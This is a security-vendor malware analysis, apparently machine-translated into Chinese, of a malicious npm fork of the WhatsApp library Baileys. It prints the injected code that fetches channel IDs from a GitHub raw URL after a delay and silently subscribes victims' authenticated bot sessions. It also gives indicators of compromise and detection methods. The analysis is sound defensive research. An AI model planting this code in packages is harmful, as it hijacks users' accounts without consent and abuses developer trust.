TL博士
此 Xygeni 安全研究团队 确定了一个 恶意 npm 包, @dappaoffc/baileys-mod它是基于广泛使用的 WhatsApp Web API 库的一个分支发布的。 @whiskeysockets/baileys.
从 8.0.1 版本开始,这个恶意 npm 包内部包含运行时代码注入。 lib/Socket/newsletter.js注入的逻辑会悄无声息地将开发者的已认证 WhatsApp 机器人会话订阅到攻击者控制的新闻通讯频道。
有效载荷在模块加载后 80 秒激活,并从 GitHub 动态检索其目标列表,使得该行为能够自我更新,并且难以通过安装时分析来检测。
技术概述
在对新发布的依赖项进行例行监控期间,Xygeni 安全研究团队检测到异常行为。 @dappaoffc/baileys-mod,后来被证实为 恶意 npm 包 目标市场是WhatsApp聊天机器人生态系统。
与窃取凭证的蠕虫或勒索软件投放器不同,这种恶意 npm 包滥用了开发者与常用开源库分支之间的信任关系。
该软件包自称是以下版本的修改版: 百利甜酒这是一个流行的 WhatsApp Web API 实现,被广泛用于构建自动化机器人。在该生态系统中,安装分支版本是一种常见做法。因此,攻击者利用的是一种真实的分发模式,而不是利用漏洞。
重要的:
- 此 预安装脚本仅验证 Node.js 版本
- 安装过程中不会发生凭证泄露。
- 未发现可疑的安装后活动
- 注入操作严格在运行时执行。
由于这种设计,安装时扫描程序将无法检测到恶意行为。
恶意 npm 包内部的运行时注入机制
这个恶意 npm 包内部的恶意逻辑存在于…… lib/Socket/newsletter.js直接嵌入到模块的执行上下文中。
攻击者将注入的代码块包装在立即调用函数表达式 (IIFE) 中,从而保证模块加载后立即执行。
然而,该有效载荷并没有立即触发,而是引入了一种延迟执行机制:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
延迟结束后,有效载荷将执行一系列受控序列:
- 取 JSON 文件来自 GitHub 原始内容 URL。
- 解析 WhatsApp 新闻邮件 ID 列表。
- 遍历列表。
- 呼叫
newsletterWMexQuery(id, QueryIds.FOLLOW)对于每个条目。 - 空格请求间隔五秒,以减少速率限制检测。
- 静默抑制所有运行时错误。
由于代码调用的是内部库函数而非外部脚本,因此产生的流量与合法的用户发起操作看起来无法区分。 WhatsApp的的 从协议角度来看,该机器人是自愿订阅这些频道的。
技术对比:合法行为与注入行为
| 元件 | 合法行为 | 恶意注射 |
|---|---|---|
| 安装阶段 | 仅验证 Node.js 版本 | 安装过程中未发现任何明显的恶意行为 |
| 模块初始化 | 出口 WhatsApp 插座工厂 | IIFE 在模块加载时自动执行 |
| 执行时序 | 无延迟行为 | 延迟80秒激活 |
| 网络通讯 | 仅通过 WhatsApp WebSocket 协议进行通信 | 从 GitHub 获取原始内容(动态控制通道) |
| 新闻简报操作 | 用户发起的订阅请求 | 通过内部库 API 发送自动关注请求 |
| 错误处理 | 传播操作错误 | 静默抑制所有异常 |
通过 GitHub 实现动态控制通道
新闻邮件 ID 列表托管在:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
这种设计具有以下几个操作优势:
- 无需发布新的 npm 版本即可动态更新有效负载
- 可信的 TLS 端点,可融入正常的开发者流量中
- 无需攻击者管理的基础设施
- 跨已部署机器人的持久性
由于注入操作在工厂作用域内执行,因此它会重用内部闭包,例如: newsletterWMexQuery 以及 delay 无需导入外部模块。这最大限度地减少了资源占用,提高了隐蔽性。
实际上,GitHub 充当了一个轻量级的命令分发渠道。
依赖别名和归因信号
软件包元数据包含以下依赖项别名:
"libsignal": "npm:@skyzopedia/libsignal-node"
这会将一个关键的加密依赖项重定向到攻击者控制的 npm 作用域。
此外,元数据通过引用原始作者和代码库来冒充上游项目。这提高了人们感知到的合法性,并减少了在非正式审查中受到的关注。
这些信号表明这是有意进行的生态系统融合,而不是…… 趁机篡改.
此恶意 npm 包的入侵指标
安全团队在调查此恶意 npm 包时应评估以下信号:
网络信号
- 出站 GET 请求
raw.githubusercontent.com来自 WhatsApp 机器人进程 - 新闻简讯关注操作在没有应用程序逻辑触发的情况下发生
数据包信号
@dappaoffc/baileys-mod版本 8.0.1 (以及可能的 8.0.0 版本)- 依赖别名重定向
libsignal - 运行时 IIFE 注入
newsletter.js
行为信号
- 以五秒间隔发送的 FOLLOW 请求
- 订阅新闻简报前无需用户进行任何操作。
- 核心库代码内部的静默错误抑制
与传统恶意软件不同,这种攻击不需要窃取凭证。滥用行为完全发生在已通过身份验证的会话环境中。
利用 Xygeni 进行检测和缓解
这个案例说明了为什么仅靠安装时扫描是不够的。恶意行为在模块加载后执行,并隐藏在合法的业务逻辑中。
Xygeni 的恶意软件预警 (MEW) 通过关联多个信号而不是依赖单个特征来检测此包裹。
全源静态分析
MEW 会检查完整的软件包源代码树,而不仅仅是生命周期脚本。
在这种情况下,检测信号包括:
- 意外
fetch()在 WhatsApp 核心模块内部调用 - 向 GitHub 原始内容发送出站通信
- 运行时逻辑中嵌入的延迟执行模式
- 嵌套静默错误处理
单独来看,这些模式似乎并无大碍。然而,综合分析却揭示出与正规百利甜酒叉不符的异常行为。
依赖风险相关性
此 libsignal 别名引发了额外的审查,因为它将敏感依赖项重定向到未经验证的作用域。
Xygeni 相关:
- 出版商声誉信号
- 范围所有权不一致
- 对加密库的依赖重定向
- 元数据冒充指标
这种分层分析方法可以减少误报,同时识别信任滥用行为。
运行时感知供应链控制
由于这个恶意 npm 包是在运行时执行的,因此有效的防御需要行为感知分析。
Xygeni 评估:
- 延迟执行机制
- 内部 API 滥用
- 依赖代码内部的出站网络调用
- 第三方库内部的异常控制流
此外, Guardrails 政策在 CI/CD 能够:
- 构建过程中阻止意外的外呼。
- 检测可疑的依赖关系图变化
- 强制执行作用域重定向限制
- 标记动态有效载荷检索模式
因此,遏制措施并不仅仅依赖于注册表下架。
为什么这个恶意 npm 包对供应链安全至关重要
这个恶意 npm 包反映了供应链滥用行为的结构性转变:
- 运行时执行而非安装时有效载荷
- 托管在可信平台上的动态控制通道
- 滥用合法的内部API
- 伪造元数据以模仿上游维护者
攻击者并未利用软件漏洞,而是利用了用户对分支和依赖项更新的信任。
因此,检测需要进行全源检查、依赖风险关联分析和运行时感知分析,而不仅仅是脚本扫描。





